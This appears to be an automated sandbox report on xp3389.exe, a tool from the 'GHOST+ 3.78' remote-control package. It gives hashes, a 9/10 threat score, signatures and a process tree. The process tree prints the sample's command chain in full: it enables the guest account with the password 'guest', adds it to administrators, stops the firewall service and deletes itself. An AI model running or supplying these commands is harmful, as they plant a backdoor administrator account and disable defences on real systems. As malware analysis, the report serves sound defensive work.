Analysis

  • max time kernel
    44s
  • max time network
    49s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    25-11-2022 21:30

General

  • Target

    夢魔个人远控GHOST+.3.78美化版/Tool/xp3389.exe

  • Size

    94KB

  • MD5

    fda31787845353b9a8518f66288d2779

  • SHA1

    9e3a0f09a92301fa8dc2e394958df2ad5d879372

  • SHA256

    828f5c2e6e571f77872219b93d91ad35b237cb5ba11c459f217d304f9c270096

  • SHA512

    36e8578973993d259a6b5db87e73d62e4fe27994f2339ef4b2f915ffd087664a90627e0eb751f6bdccb7c3aa96f968e59dd9c06298e584b9203b548c8f917611

  • SSDEEP

    1536:Dszc35cz+VhixNufsomxrsbGAFKh87pZl6nC24Zj4BD1vnE9ZmPmMfKRdpV:Cc35cz+Vhiuf6wrWyZwnC2mKE9sP2N

Score
9/10

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Sets DLL path for service in the registry 2 TTPs 1 IoCs
  • Modifies WinLogon 2 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\夢魔个人远控GHOST+.3.78美化版\Tool\xp3389.exe
    "C:\Users\Admin\AppData\Local\Temp\夢魔个人远控GHOST+.3.78美化版\Tool\xp3389.exe"
    1⤵
    • Sets DLL path for service in the registry
    • Modifies WinLogon
    • Suspicious use of WriteProcessMemory
    PID:2012
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net user guest /active:yes && net user guest guest && net localgroup administrators guest /add && net stop SharedAccess /y && del "C:\Users\Admin\AppData\Local\Temp\??????GHOST+.3.78???\Tool\xp3389.exe" && sc delete SharedAccess
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1048
      • C:\Windows\SysWOW64\net.exe
        net user guest /active:yes
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1996
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user guest /active:yes
          4⤵
            PID:1728
        • C:\Windows\SysWOW64\net.exe
          net user guest guest
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:652
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 user guest guest
            4⤵
              PID:516
          • C:\Windows\SysWOW64\net.exe
            net localgroup administrators guest /add
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:320
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 localgroup administrators guest /add
              4⤵
                PID:632
            • C:\Windows\SysWOW64\net.exe
              net stop SharedAccess /y
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1656
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop SharedAccess /y
                4⤵
                  PID:1188

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • \??\PIPE\samr
            MD5

            d41d8cd98f00b204e9800998ecf8427e

            SHA1

            da39a3ee5e6b4b0d3255bfef95601890afd80709

            SHA256

            e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

            SHA512

            cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

          • memory/320-60-0x0000000000000000-mapping.dmp
          • memory/516-58-0x0000000000000000-mapping.dmp
          • memory/632-61-0x0000000000000000-mapping.dmp
          • memory/652-57-0x0000000000000000-mapping.dmp
          • memory/1048-54-0x0000000000000000-mapping.dmp
          • memory/1188-63-0x0000000000000000-mapping.dmp
          • memory/1656-62-0x0000000000000000-mapping.dmp
          • memory/1728-56-0x0000000000000000-mapping.dmp
          • memory/1996-55-0x0000000000000000-mapping.dmp